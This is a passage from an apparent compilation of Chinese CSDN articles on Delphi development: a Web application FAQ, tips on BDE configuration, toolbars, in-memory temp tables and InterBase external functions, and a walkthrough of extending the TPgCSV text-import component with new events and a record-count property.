  flag:=false;

end;

procedure TWebModule1.NMSMTP1Success(

Sender: TObject);

begin

  pageproducer1.htmldoc.add('< p >

成功发送邮件< /p >');

end;
    将project存为sendmail.dpr，编译后放到WEB服务器的可执行文件路径下（如：c:\intpub\scripts）,即可响应HTML文件dl.htm的用户输入，并且如果用户的用户名及密码正确则可进入发送邮件的页面，用户填写接受邮件地址及主题、内容后即可发送邮件。此程序在NT SERVER上调试通过。


CSDN_文档中心_DELPHI开发Web程序常见问题

引子
    Web程序开发对开发工具提出了极大挑战，面对用户的众多需求，许多公司推出一大堆开发平台：开发桌面应用程序和C/S程序的，开发中间件的，开发Web服务器的。这造成程序员面对一大堆工具无从下手。

    DELPHI和其他开发工具不同，因为它是一个开放系统，只要灵活使用一些控件，即可开发出各种类型的系统，不论N－Tie程序、多线程程序、分布计算程序（包括DCOM和CORBAR）、TCP程序、Web程序、ActiveX、中间件、推程序（Push），甚至你可以用它来写汇编程序。

    DELPHI将ISAPI/NSAPI/CGI/WCGI等巧妙地封装成一个类，用户只要在编译时选择编译结果，就可以得到不同的系统。
    在DELPHI4中Inprise公司进一步加强了对Web程序开发的支持，可以开发出更好更强的系统。以下是开发Web应用程序中的几个常见问题，可以供大家参考。如果没有特别申明，则表示程序运行于 DELPHI 4下。

如何从Web Server Application返回一幅图像?
    Web Server Application不仅可以生成复杂的页面文档，也可以根据用户请求返回不同的图像。当然有比较简单的方法，根据输入参数不同，〈img src...〉标记也指向不同的URL地址。这里我们不用这个办法，而是利用DLL返回图像。
    当然要首先建立一个页面容器（page producer），内容如下：
    〈html〉
    〈body〉This is a test〈BR〉〈img src=″/scripts/mydll.dll/picture″〉〈/body〉
    〈/html〉

    接下来我们设定对应于PathInfo的动作事件，返回图像结果，源代码如下：
    （注意：单元声明中要包含JPEG单元）

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
    var
     Jpg: TJpegImage;
S: TMemoryStream;
    begin
     Jpg := TJpegImage.Create;
     try
     Jpg.LoadFromFile(′test′);
     S := TMemoryStream.Create;
     try
     Jpg.SaveToStream(S);
     S.Position := 0;
     Response.ContentType := ′image/jpeg′;
     Response.ContentStream := S;

     // 必须在流释放前完成
     Response. SendResponse;
     finally
     S.Free;
      end;
   finally
     Jpg.Free;
   end;
end;

    实际上用这种方法和前面提到的简单做法相比，具有更安全和更灵活的特点。在某些地方灵活使用，以此为基础稍加修改可以产生一般开发工具难以实现的效果。

如何在ISAPI/NSAPI动态连接库（DLL）中使用本地数据库驱动程序（native Access driver）？
    这是因为DAO 3.0 或者DAO 3.5是所谓thread－safe（线程安全程序），而一个Web服务器（例如IIS）会随用户请求产生多个线程，同时把ISAPI对应的DLL也列为线程。这时ISAPI就会通过BDE通知DAO，告诉它不符合线程安全规定。

    解决的方法有很多，如果你一定要访问Access 95/97库，那么可以通过ODBC访问。ODBC不会经过DAO，而且也是一个线程安全程序。此外还有一些第三方的控件集，通过他们可以直接由BDE访问Access 95/97，效率更高。

    用户访问我Web服务器上的ISAPI DLL，可是报告：“Invalid filename"（无效的文件名），然而文件的确存在的。对了，我的数据库在一台Novell 服务器上。这是为什么呢？

    你没有设定对应于你IUSR_XXX账户的驱动器路径映射（MAPING）。因为Novell不是采用FAT，所以要手工添加路径映射。当然，可以做成开机登录脚本。请牢记，如果你运行IIS作为Web服务器，而又涉及Novell，无论作为文件服务器或数据库服务器，都要定义好路径映射。

    “Invalid configuration parameter for alias {alias_name}"（无效的别名配置），当我设置一个ODBC DSN，并通过它访问ISAPI/NSAPI服务器时就出现这样一个错误。

    你如果要为访问的用户（IIS用户）建立一个ODBC别名，那么要注意创建一个SYSTEM DSN（系统DNS），而不要创建“用户DNS”，虽然“用户DNS”是缺省设定。

如何取得客户机（访问机器）的名称和IP地址？
    实现这个功能用TCP控件来做非常容易。从Internet页面上选取一个TCP控件，然后直接就可以得到你所需要的：
    Memo1.Lines.Add(TCP1.LocalHostName);
    Memo1.Lines.Add(TCP1.LocalIp);

    当然，如果你不希望这样做，还有比较复杂的办法：
    uses Winsock;
    procedure TForm1.FormCreate(Sender: TObject);
    var
    wVersionRequested : WORD;
    wsaData : TWSAData;
    begin
     {创建 WinSock}
     wVersionRequested := MAKEWORD(1, 1);
     WSAStartup(wVersionRequested, wsaData);
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
p : PHostEnt;
s : array[0..128] of char;
p2 : pchar;
    begin
     {得到计算机名称}
     GetHostName(@s,128);
     p:=GetHostByName(@s);
     Memo1.Lines.Add(p^.h_Name);

      {得到机器IP地址}
     p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
     Memo1.Lines.Add(p2);
    end;

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
     {释放 WinSock}
     WSACleanup;
    end;

    这是一个调用了WINSOCK的独立单元，你可以把它直接嵌入到你的程序中去。

在DELPHI 3中为何不能创建真正的多线程DLL？
    虽然DELPHI3中的ISAPI DLL向导已经为创建多线程DLL生成了大量代码，可是还是有一个严重的缺陷：没有申明本应用程序是一个多线程的程序。所以需要你添加一句话：
    IsMultiThread := TRUE;

    把这句话放在DPR程序begin－end块的开始处，使之成为第一句。

如何得知现在是否和Internet连接？
    最简单的办法是用一个TCP元件得到自己当前的IP，通过判断IP得知是否连入Internet。例如：
     if TCP1.LocalIp = '0.0.0.0' then
     ShowMessage('目前没有连入Internet!');

    需要注意的是：因为Internet和Intranet没本质区别，所以一般不能判定是和Internet连接还是仅仅连入Intranet。当然。你也可以再加一个PING元件，去PING一个比较稳定、速度比较快的站点，如果连通则表明已经接入Internet。不过这种办法通用性不好。

如何打印一个Web页面？
    可以选用HTML控件的AutoPrint方法。例如：
    uses Printers;

    procedure TForm1.Button1Click(Sender: TObject);
    var
     OldCur: TCursor;
   begin
    OldCur := Screen.Cursor;
    with Printer do
begin
     BeginDoc;
     HTML1.AutoPrint(handle);
     Title := HTML1.URL;
     EndDoc;
    end;

    Screen.Cursor := OldCur;
    end;

    此外还可以利用其PrintPage方法。不过我推荐你采用AutoPrint，因为这样控制更灵活，可以过滤一些你不希望打印的内容。


CSDN_文档中心_Delphi开发经验四则

作者：高素梅

    配置数据引擎(BDE、SQL Link)的简单方法

    在数据库程序分发时，需要携带数据引擎(BDE、SQL Link)，并且在客户端安装完程序后还需要配置数据引擎，如用户名(username)、密码(Password)等等。如果手工配置的话，工作量比较大，这时，我们可利用InstallShield For Delphi轻松实现配置。在用InstallShield For Delphi制作安装程序时，在生成安装程序的目录里有一个*.iwz的文本文件，只要在[IDAPI Alias]片段中手工加入即可。 例如：

    [IDAPI Alias]

    username=SYSDBA

    password=masterkey

    安装程序后数据引擎自动配置完毕。

    制做快速按钮条的方法

    快速按钮条上的每一个图形按钮都代表着一项常用的功能，同时，这些图形按钮尺寸较普通的图标大，可以放置更大、更形象的图形，甚至可以带上简短的提示，这对于用户执行最常用的功能很有帮助。基于上述原因，越来越多的Windows应用程序采用快速按钮条来改善应用程序的界面。笔者在用Delphi编程时，采用了两种不同的方法来实现快速按钮条，本文结合制作一个具有两组、共六个按钮的快速按钮条的实例，列出了这两种方法的具体设计步骤。

    1.组合生成法

    (1)在窗体上放置一个Panel1对象，作为图形按钮的载体。

    (2)设置Panel1的属性Caption为空，属性Align为alTop,调整其高度至合适尺寸。

    (3)在Panel1上放置六个SpeedButton按钮(选用SpeedButton，是因它具有浮动特性)。

    (4)在Panel1上放置两个Bevel对象，调整其位置和大小，用于分隔按钮组。

    (5)调整SpeedButton1的大小及在Panel1中的位置。

    (6)选择SpeedButton1，设置其属性Flat为True。

    (7)单击SpeedButton1的属性Glyph所对应的省略号小按钮，打开PictureEditor窗口，选择一个象征“查询”的图标。设置属性ShowHint为True,属性Hint为“查询”。

    (8)按步骤（5）至（7）的方法，分别设置好其余几个SpeedButton按钮的属性。

    这样，一个快速按钮条就制作完成了。运行时，快速按钮均以浮动方式显示，当鼠标移至其上时，即显示按钮外框，并显示小提示。

    2.借用ToolBar生成法

    (1)在窗体上放置一个ToolBar1对象。

    (2)设置ToolBar1的属性EdgeBorders.ebLeft、ebTop、ebRight、ebButtom均为True；属性Flat为True;调整ToolBar1的大小至合适尺寸。

    (3)选择ToolBar1，用右键点出快速选单，分别点击NewButton和NewSeparator增加六个按钮ToolButton和两条分隔栏线。

    (4)任意选择一个ToolButton按钮，调整其大小至合适尺寸，所有的ToolButton也同时被调整好。

    (5)设置ToolBar1的属性BorderWidth为3，以调整ToolButton的位置。

    (6)在窗体上放置一个ImageList1对象，设置它的属性Height和Width的数值，以适应较大尺寸的图像。

    (7)双击ImageList1，通过“Add”按钮分别装入六个图像，与ToolBar1中的六个ToolButton一一对应。

    (8)设置ToolBar1的属性Images为ImageList1。

    (9)设置六个ToolButton的属性ShowHint为True，并分别设置各自的小提示属性Hint。

    (10)还可以设置ToolBar1的HotImages指定鼠标指向按钮时的图片集。

    采用ToolBar实现的快速按钮条在外观上与第一种方法制作的类似。

    以上两种方法均能实现快速按钮条，但各有千秋：第一种设计过程较为简单；第二种方法则提供了更多的功能，如可用HotImages指定鼠标指向按钮时的图片集。读者不妨从中选择一种，并可继续完善其功能。

    建立临时表的方法

    数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地(客户端)建立临时数据表来存储用户输入的数据，待提交后，清除本地数据表。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小(不会超过几百条记录)，所以临时表可以建立在内存中，这样处理速度较快。临时表创建有如下两种方法：

    1.使用查询控件创建临时表

    第1步：在窗体上放入查询控件(TQuery)，并设置好所连接的数据表。

    第2步：添加如下语句：

    TQuery. CachedUpdates=True;

    TQuery. RequestLive=True。

    第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。

    例如：

    SELECT Biolife."Species No", Category, Common_Name, Biolife."Species Name", Biolife."Length (cm)", Length_In, Notes, Graphic

    FROM "biolife.db" Biolife

    where Biolife.Category=′A′ and Biolife.Category=′B′

    这样临时表就建立好了。

    2.使用代码创建临时表

    函数代码如下：

    function CreateTableInMemory(const AFieldDefs:TFieldDefs):

    TDataSet;

    var TempTable:TClientDataSet;

    begin

    TempTable:=nil;

    Result:=nil;

    if AFieldDefs〈〉nil then

    begin

    try

    TempTable:=TClientDataSet.Create(Application);

    TempTable.FieldDefs.Assign(AFieldDefs);

    TempTable.CreateDataSet;

    Result:=(TempTable as TDataSet);

    Except

    if TempTable〈〉nil then TempTable.Free;

    Result:=nil;

    raise;

    end

    end

    end;

    在程序中按如下方法调用：

    procedure TForm1.Button1Click(Sender: TObject);

    var ADataSet:TDataSet;

    begin

    ADataSet:=TDataSet.Create(Self);

    with ADataSet.FieldDefs do

    begin

    Add(′Name′,ftString,30,False);

    Add(′Value′,ftInteger,0,False);

    end;

    with DataSource1 do

    begin

    DataSet:=CreateTableInMemory(ADataSet.FieldDefs);

    DataSet.Open;

    end;

    ADataSet.Free;

    end;

    这样，临时表就创建完成。

    方法1使用简单，但由于利用了查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由几个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。

    在InterBase数据库中使用函数

    程序员可能在用InterBase作为后台数据库时，常会为其提供的函数过少而感到使用不便(只有四个)，无法方便地编写出复杂的存储过程。InterBase本身无法编写函数，但它可以使用外部函数(调用DLL中的函数)。下例中说明如何在InterBase 中声明SUBSTR函数。

    DECLARE EXTERNAL FUNCTION SUBSTR

    CSTRING(80), SMALLINT, SMALLINT

    RETURNS CSTRING(80)

    ENTRY_POINT "IB_UDF_substr" MODULE_NAME "ib_udf"

    其中：MODULE_NAME为DLL的名称，ENTRY_POINT为函数名。

    声明后便可以使用，例如：

    select SUBSTR(country)

    from country

    本例使用的是Delphi安装时自带的IBLocal数据库，用户也可以自己编写函数来扩充InterBase。


CSDN_文档中心_Delphi开发者快速解决问题的两大网络利器

Delphi开发者快速解决问题的两大网络利器

想象你是鲁宾逊，漂流到了这个小岛上，要面对食人族的袭击，还要解决自己的生存问题。

知道吗，在你解决这些问题之前，在过去或在世界的另外一端，已有许许多多的人遇到过相似的问题。你想在3分钟内找到这些问题的答案吗？

这里给你两件利器：

1、 毛瑟枪：www.google.com

Google是现在的超级知识搜索引擎，它预先把互联网上的网页内容保存在几百台Linux服务器中，搜索结果按照网站的被引用的频繁程度排序。语种奇多，速度奇快，结果奇多。堪称互联网的的知识搜索引擎。有了它，整个互联网就变成了你的个人图书馆。

2、 开山斧：www.mers.com

提供对Borland公司所有新闻组的搜索。你在使用Borland产品时遇到的疑问，其中80%的答案都可以在这里找到。语种：英语。数据库：InterBase。速度很快。结果很多。

准备好了吗? 上路吧，兄弟！

www.delphidevelopers.com


CSDN_文档中心_Delphi控件的拿来主义(二)

这个例子是关于如何将一个文本数据导入导出控件作一些简单的修改之后拿来使用的。

◆程序功能

将图书馆的ISO文件中的部分数据转到Oracle8数据库中。

◆设计要求

1.显示导入进度条。

2.在导入过程中，如果某条纪录导入失败，不显示异常，而将导入失败的纪录记入日志。

◆设计思路

程序的关键在文本数据字段的分离。通常的做法,都是先将字符串进行处理(RegulateString),然后把串中每个字符同分割符(可以是空格,逗号等)比较，将不是分割符的字符追加到一个串中(GetRecordItem),得到一个字段的内容。通过一个循环(循环次数由GetItemNum来定),就可以将一个字符串分成几个字段。最后的工作就是将分离出来的数据对号入座加入数据库.

按照上面的思路,利用Delphi提供的已有函数和过程,实现起来应该不难,但问题是,我可不想每次编文本导入程序的时候,都把什么这啊那的函数过程重新定义一遍,哎,最烦的就是重复性的工作了.那么有没有现成的控件将上述过程都封装起来呢?PS:又不用我编呢？

答案是肯定的!前几天刚刚下了一个免费控件TPgCSV,据说可以实现文本的导入和导出.翻出来一看,正是我想要的.

在深入到下面的内容之前,有必要对该控件的类声明部分作一定了解

(经作者Khashayar Sadjadi(khashi@pragena.8m.com)同意发表）:

//中文部分为笔者所作的注释

//注意:

//在该控件中,Export代表将文本数据导入到数据库，Import代表从数据库导出到文本。??? 怎么和我理解的

//导入导出概念刚好是反的 :)

type

//在处理数据产生异常时，可选择继续还是中止

TPgCSVErrorResponse = (pgcsvAbort, pgcsvIgnore);

//进程监控事件声明,可以将导入/导出的进度作为参数传出

TPgCSVProgressEvent = procedure (Sender : TObject; AProgress: LongInt; var StopIt: Boolean) of object;

//发生异常时的事件处理声明，异常信息通过该接口传给程序员。

TPgCSVExportErrorEvent = procedure (Sender : TObject; Mess: string; RecNo: LongInt; var Response:TPgCSVErrorResponse) of object;

TPgCSV = class(TComponent)

private

FDataset : TDataset;

FCSVMap,

FCSVFile,

FDateFormat,

FIgnoreStr : string;

FSeprator,

FDelimiter,

FFieldIndicator : Char;

FAutoOpen,

FUseDelimiter,

FSilentExport,

FTrimData,

FStop,

FEmptyTable : Boolean;

FBeforeOpenTable,

FAfterOpenTable,

FBeforeCloseTable,

FAfterCloseTable,

FBeforeEmptyTable,

FAfterEmptyTable,

FBeforeExport,

FAfterExport,

FBeforeImport,

FAfterImport,

FOnAddRecord : TNotifyEvent;

FExportProgress,

FImportProgress : TPgCSVProgressEvent;

FExportError : TPgCSVExportErrorEvent;

FMapItems,

FDefaultInt : Integer;

FBufferSize : LongInt;

FFieldCache : TList;

protected

FFile : TextFile;

//以下就是我所说的希望封装的部分

function CountMapItems:Integer;//计算映射字符串的字段个数

function GetMapItem(ItemIndex:Integer;var AField:Boolean):string;//提取映射字符串的字段

function GetCSVRecordItem(ItemIndex:Integer;CSVRecord:string):string;//提取CSV文件字符串中的某一字段

function BuildMap:string;//自动创建映射,如果CSVMap一栏为空的话,会由它来产生映射字符串

function ExtractWord(Item: Integer;S, WordDelim: string): string;//提取文本数据字符串/映射字符串中的某一字段

function WordCount(const S ,WordDelim: string): Integer;//计算文本数据字符串/映射字符串中的字段数目

function WordPosition(Item: Integer; const S, SubStr: string): Integer;//计算子字符串在字符串中的位置

public

constructor Create(AOwner: TComponent); override;

published

//properties

property Dataset : TDataset read FDataset write FDataset;

//设置要导入或导出的目标数据集.

property CSVMap : string read FCSVMap write FCSVMap;

//CSV 文本数据文件到数据库字段值的映射字符串.控件通过该映射决定文本中的哪些数据要导入及要导入哪个字段.

property CSVFile : string read FCSVFile write FCSVFile;

//CSV 文件格式，其实就是文本数据文件。CSV代表什么意思？呵呵，我也不知道

property Seprator : Char read FSeprator write FSeprator;

//分隔符，可以是空格，也可以是，、；、＃等符号

property FieldIndicator : Char read FFieldIndicator write FFieldIndicator;

//字段标识符.

property AutoOpen : Boolean read FAutoOpen write FAutoOpen;

//将AutoOpen设为True可以在处理数据前自动打开要导入的数据表并在操作完毕后自动关掉它。

property IgnoreString : string read FIgnoreStr write FIgnoreStr;

//忽略纪录的标识串.

//举例来说

//IgnoreString:='(ignore)';

//CSVMap:='$Name,(ignore),$Age';

//在这种情况下，CSVToDataSet方法，即导入数据方法将忽略文本文件中的第二列的字段。

property Delimiter : Char read FDelimiter write FDelimiter;

//在某些CSV文档中标识字符串纪录的标识符，比如，"john","boy",12中的"，在这种情况下,TPgCSV

//会忽略这些标识符。

property EmptyTable : Boolean read FEmptyTable write FEmptyTable;

//只在从数据库导出(DataSetToCSV)方法中有效，作用是创建一个新的CSV文件。

property UseDelimiter : Boolean read FUseDelimiter write FUseDelimiter;

//是否有Delimiter。

property SilentExport : Boolean read FSilentExport write FSilentExport;

//若该属性为True,应用程序将不显示数据操作时的异常,而将异常信息通过一个接口传给程序员处理.

property DateFormat : string read FDateFormat write FDateFormat;

//设定CSV文件中日期数据的格式。

property TrimData : Boolean read FTrimData write FTrimData;

//是否去掉数据头尾的空格.

property DefaultInt : Integer read FDefaultInt write FDefaultInt;

//整/实形数据转换出错后的默认值

property BufferSize : LongInt read FBufferSize write FBufferSize;

//CSV 文件的缓冲值，以字节为单位，可以加快导入和导出数据的速度。

//events

property BeforeOpenTable : TNotifyEvent read FBeforeOpenTable write FBeforeOpenTable;

property AfterOpenTable : TNotifyEvent read FAfterOpenTable write FAfterOpenTable;

property BeforeCloseTable : TNotifyEvent read FBeforeCloseTable write FBeforeCloseTable;

property AfterCloseTable : TNotifyEvent read FAfterCloseTable write FAfterCloseTable;

property BeforeEmptyTable : TNotifyEvent read FBeforeEmptyTable write FBeforeEmptyTable;

property AfterEmptyTable : TNotifyEvent read FAfterEmptyTable write FAfterEmptyTable;

property BeforeImport : TNotifyEvent read FBeforeImport write FBeforeImport;

property AfterImport : TNotifyEvent read FAfterImport write FAfterImport;

property BeforeExport : TNotifyEvent read FBeforeExport write FBeforeExport;

property AfterExport : TNotifyEvent read FAfterExport write FAfterExport;

property ExportProgress : TPgCSVProgressEvent read FExportProgress write FExportProgress;

//进程监控事件。每完成一条文本数据的导入就触发该事件。

property ImportProgress : TPgCSVProgressEvent read FImportProgress write FImportProgress;

property OnAddRecord : TNotifyEvent read FOnAddRecord write FOnAddRecord;

property ExportError : TPgCSVExportErrorEvent read FExportError write FExportError;

//发生异常时交由该事件处理，异常信息通过该接口传给程序员。

//methodes

//整个控件的核心内容

procedure CSVToDataset;//将文本导入到数据集的方法

procedure DatasetToCSV;//将数据集的数据导入到文本的方法

end;

procedure Register;

{略}

implementation

{略}

end.

从声明部分中我们可以看到,TPgCSV将文本数据的导入导出全部封装到了CSVToDataSet(文本数据导入)和DataSetToCSV（文本数据导出)两个方法中.开发者可以在设计阶段直接将文本文件同要导入/出的数据库相连,然后在程序运行当中调用这两个方法就可以了,根本不用理会那些函数什么的,相当的方便.

那我是不是可以直接拿来使用呢?这里就出现问题了.

----问题一及解决方案

在该控件自带的Demo中，所使用的文本数据文件,格式如下

test.csv

"11","12","13","14"

"21","22","23","24"

"31","32","33","34"

...

而ISO文件中的数据格式(部分)为

sm01632.ISO

... a7507310175b特精装d￥1893"‑1 a毛泽东珍品典藏（上、下册）f中共中央文献研究室编著‑c中献d011200"...

...a7119029193b平装 d￥20"‑1 a中国：加入WTO与经济改革f王 梦 奎编著‑ c外文d011200"‑ ...

我们看到，同test.csv相比，sm01632.ISO文件中的纪录很不规则。

我们所需要的是这样的纪录

sm01632.ISO

... 7507310175,特精装,1893,1,毛泽东珍品典藏（上、下册）,中共中央文献研究室编著,中献,011200...

...7119029193,平装,20,1,中国：加入WTO与经济改革,王 梦 奎编著,外文,011200‑ ...

TPgCSV能否对这种情况进行自动的处理呢？哇噻,这种万能的控件好像不大可能有吧!(事实上也不需要)既然直接用TPgCSV处理无法实现正确导入的,我们就需要在每一条从文件中读取出来的纪录导入数据库之前,用程序对它们进行处理,转换之后再交由TPgCSV进行操作。怎么样处理这里就不赘述了。我们所关心的是TPgCSV有没有开放出这样一个处理的接口呢？

我们来看DataSetToCSV方法的实现代码(主要是注释部分):

procedure TPgCSV.CSVToDataSet;

var

RecordString,

Temp : string;

i : Integer;

C : LongInt;

D : Boolean;

F : Real;

ErrorResponse : TPgCSVErrorResponse;

Buffer : Pointer;

begin

//create field cache

FFieldCache:=TList.Create;

//initiate map items

FMapItems:=0;

//allocate buffer size

GetMem(Buffer,FBufferSize);

//assign and open CSV file

AssignFile(FFile,FCSVFile);

SetTextBuf(FFile,Buffer^,FBufferSize);

Reset(FFile);

//open table if nessecary

if FAutoOpen then

begin

if Assigned(FBeforeOpenTable) then

FBeforeOpenTable(Self);

FDataset.Open;

if Assigned(FAfterOpenTable) then

FAfterOpenTable(Self);

end;

//export to table from CSV file

if Assigned(FBeforeExport) then

FBeforeExport(Self);

//set the counter to zero

C:=0;

Temp:=ShortDateFormat;

ShortDateFormat:=FDateFormat;

{*************************以下是文本数据导入的核心代码部分,也是我要关心的部分**************************}

FDataset.DisableControls;

while (not Eof(FFile)) and (not FStop) do

begin

//read from CSV

Readln(FFile,RecordString);

//注意，这里好像差了一点什么东西

//add new record

try

FDataset.Append;

for i:=1 to CountMapItems do

if Uppercase(GetMapItem(i,D)) <> Uppercase(FIgnoreStr) then

case FDataset.FieldByName(GetMapItem(i,D)).DataType of

ftInteger:

FDataset.FieldByName(GetMapItem(i,D)).AsInteger:=StrToIntDef(Trim(GetCSVRecordItem(i,RecordString)),FDefaultInt);

ftFloat:

begin

try

F:=StrToFloat(Trim(GetCSVRecordItem(i,RecordString)));

except

F:=FDefaultInt;

end;

FDataset.FieldByName(GetMapItem(i,D)).AsFloat:=F;

end;

else

if FTrimData then

FDataset.FieldByName(GetMapItem(i,D)).AsString:=Trim(GetCSVRecordItem(i,RecordString))

else

FDataset.FieldByName(GetMapItem(i,D)).AsString:=GetCSVRecordItem(i,RecordString);

end;

//post record

FDataset.Post;

except

on E:Exception do

if not FSilentExport then

raise

else

if Assigned(FExportError) then

begin

FExportError(Self,E.Message,C,ErrorResponse);

if ErrorResponse = pgcsvAbort then

Break;

end;

end;

if Assigned(FOnAddRecord) then

FOnAddRecord(Self);

if Assigned(FExportProgress) then

FExportProgress(Self, C, FStop);

Inc(C);

end;

FDataset.EnableControls;

{*************************以上是文本数据导入的核心代码部分**************************}

if Assigned(FAfterExport) then

FAfterExport(Self);

//close table if nessecary

if FAutoOpen then

begin

if Assigned(FBeforeCloseTable) then

FBeforeCloseTable(Self);

FDataset.Close;

if Assigned(FAfterCloseTable) then

FAfterCloseTable(Self);

end;

//close CSV file

CloseFile(FFile);

//disallocate buffer

FreeMem(Buffer);

ShortDateFormat:=Temp;

//free cache

for i:=FFieldCache.Count - 1 downto 0 do

Dispose(FFieldCache.Items[i]);

FFieldCache.Free;

end;

(这么长!看得我眼都花了.好在找到了我所关心的核心代码,其他的?别管了吧,我这个懒惰的人.)差的是什么呢?很明显，我们希望把这个时候的RecordString开放出去,经过处理之后再回来进行导入的操作.所以,这里差的只是一个事件处理过程,在这个过程中,我们需要通过Delphi把RecordString的值传出去让用户处理.

既然没有提供这个接口，那就自己动手添加了。由于需要传参数,这个事件不能用标准的TNotifyEvent来定义，而需要重新声明。

新的事件声明和事件属性如下：

type

...

TPgCSVRegulateStrEvent = procedure (Sender : TObject; var ARecordString: string) of object;

...

TPgCSV = class(TComponent)

Published

property RegulateString : TPgCSVRegulateStrEvent read FRegulateString write FRegulateString;

//写完后别忘了按一下ctrl+shift+c

...

End;

好了,现在可以在我刚才注释的地方写事件调用方法的程序了.

...

while (not Eof(FFile)) and (not FStop) do

begin

//read from CSV

Readln(FFile,RecordString);

//xm4014's modification

if Assigned(FRegulateString) then

FRegulateString(self,RecordString);

//add new record

try

FDataset.Append;

...

重新编译包文件通过后,你就会在TPgCSV控件的事件页面中发现RegulateString这个事件，双击它就可以添加你的处理代码了。这样一来,无论文本数据中有什么样怪异的字符或格式,我们都通过这个事件处理预先过滤一编,让控件放心的处理导入的操作。简单吧(也太简单了点,居然还写了这么长!汗)

但是,这样就行了吗?


CSDN_文档中心_Delphi控件的拿来主义(三)

----问题二及解决方案

每一条导入表中的纪录除了ISO文件中的内容外，还需要有书的类型,期号,以及ID号，而TPgCSV在插入新纪录时只处理了同文本文件中的数据相关的字段,因此,这些字段的内容需要我们自己来加入。不用说,很自然的就会想到Table中的AfterInsert事件.但问题是，我的Table在DataModule单元中，我必须传参数到AfterInsert事件中，麻烦！同时，这样的处理会带来维护上的混乱，一个单元里面发生的事件应该尽量由这个单元里面的函数或过程来处理。于是,我又想到了在当前单元中写一个处理过程,然后在程序运行时把这个过程指派给Table的AfterInsert事件，导入结束后再禁止掉。可行，但还是麻烦！既然大多数情况下都会遇到这样的问题,那何不一了百了,把这个事件封装起来呢.

同问题一一样,这里我们还是需要一个事件处理过程AfterInsert.这一次应该加在哪儿呢?大家肯定一眼就看出来了：

procedure TPgCSV.CSVToDataSet;

begin

…

FDataset.DisableControls;

while (not Eof(FFile)) and (not FStop) do

begin

//read from CSV

Readln(FFile,RecordString);

//xm4014's modification

if Assigned(FRegulateString) then

FRegulateString(self,RecordString);

//add new record

try

FDataset.Append;

//应该加在这儿!

//xm4014's modification

if Assigned(FAfterInsert) then

AfterInsert(self,FDataset);

…

for i:=1 to CountMapItems do

…

end;

同样,这里需要定义新的事件声明和事件属性,因为需要将FDataSet的参数传递出去，声明代码可参看Delphi控件的拿来主义(二)(http://www.csdn.net/develop/read_article.asp?id=11855).

重新编译控件,就可在AfterInsert事件中添加代码对书的类型,期号,以及ID号进行赋值了.

----问题三及解决方案

涉及到数据库的问题现在都已经解决了.但是还有一个显示问题.程序要求用ProgressBar显示导入进度.为了设置ProgressBar.Max的值，我需要在导入之前知道ISO文件中一共有多少条纪录，即一个类似于RecordCount的属性.但是TPgCSV中没有这样的一个属性.

那么我们就来添加一个这样的属性

//xm4014's modification

property CSVRecordCount : integer read FCSVRecordCount write FCSVRecordCount default 0;

怎么样给它赋值呢? 很简单，可以用ReadLn(F)对ISO文件进行扫描，然后将扫描的次数累加。

关键是在哪儿进行这个处理.很显然，对于同一个文件，这样的工作只需要做一次就可以了。既然对于不同的文件才需要重新统计，那么我们可以在每次设置文件名属性的时候，对文本文件进行扫描。

好，找到TPgCSV的文件名属性

property CSVFile : string read FCSVFile write FCSVFile;

做一下小小的修改

新的属性声明

property CSVFile : string read FCSVFile write SetCSVFile;

按Ctrl+shift+c编写SetCSVFile的方法代码如下

procedure TPgCSV.SetFCSVFile(const Value: string);

var

F1:TextFile;

iCount:integer;

begin

if FCSVFile<>Value then

begin

FCSVFile := Value;

//文件名一换，就重新扫描，改变FCSVRecordCount 的值

if FileExists(Value) then

begin

AssignFile(F1, Value);

Reset(F1);

iCount:=0;

while not Eof(F1) do

begin

ReadLn(F1);

Inc(iCount);

end;

FCSVRecordCount:=iCount;

end;

end;

end;

编译之后我们就可以在导入操作进行之前放心的调用CSVRecordCount属性获取纪录个数值了：

ProgressBar1.Min :=0;

ProgressBar1.Max:=PgCSV1.CSVRecordCount;

以上程序在Delphi 6.0/Win98下调试通过

写到这里基本上算是大功告成了.其实前前后后做的修改掰着指头都可以数出来.可就是这么点小小的升级,让我真正觉得用起来更加得心应手，我想，下次我再用的时候，会越发体会到它的价值.而且经过这么一番分析修改,我也长进不少啊，比半瓢多了几滴，呵呵！

需要指出的是，TPgCSV是一个简单的控件，它既没有很复杂的关系，也不涉及到对VCL核心内容的调用，所以在修改的时候是不用有太多的顾虑的.一旦源码中涉及到很复杂的层次关系时，就需要对你添加或修改的每一行代码深思熟虑了，不然，可能会牵一发而动全身，最后想回头都难了.因此，我所说的拿来用的原则实际上还是依托于控件本身的功能，而没有实质内容上的变动。要达到随心所欲的境界，各位（我也在内）还要继续努力啊！

（附：TPgCSV的下载地址 http://www.internet-bj.com/delphikongjian.asp?id=2)


CSDN_文档中心_Delphi控件的使用经验

吴泽平（河北省任丘市）

---- 一.Delphi中树型控件的使用技巧

---- 我们都知道，开发者主要用Delphi来开发数据库管理软件，正因如此，树型控件的使用最好与数据库联系起来。Delphi提供了一个树型控件TTreeView，可以用来描述复杂的层次关系。

---- 1.树节点信息的存储和加载

---- 常用的方法是用树控件的 LoadFromFile和SavetoFile方法，来实现树控件和文件之间的交互；或用Assign方法实现树控件和DBMemo，也就是和数据库间的交互。该方法的优点是编程相对简单，缺点是树控件的实际节点数可能会很大，对于"大树"，每次加载和存储的数据量会加大，将降低速度，增大系统开销，造成数据冗余。另一种方法，就是只在树上产生"看得见"的节点，没有专门记录全部树节点结构的文件或数据库字段，而将树节点结构分散在数据库的每一个记录中。

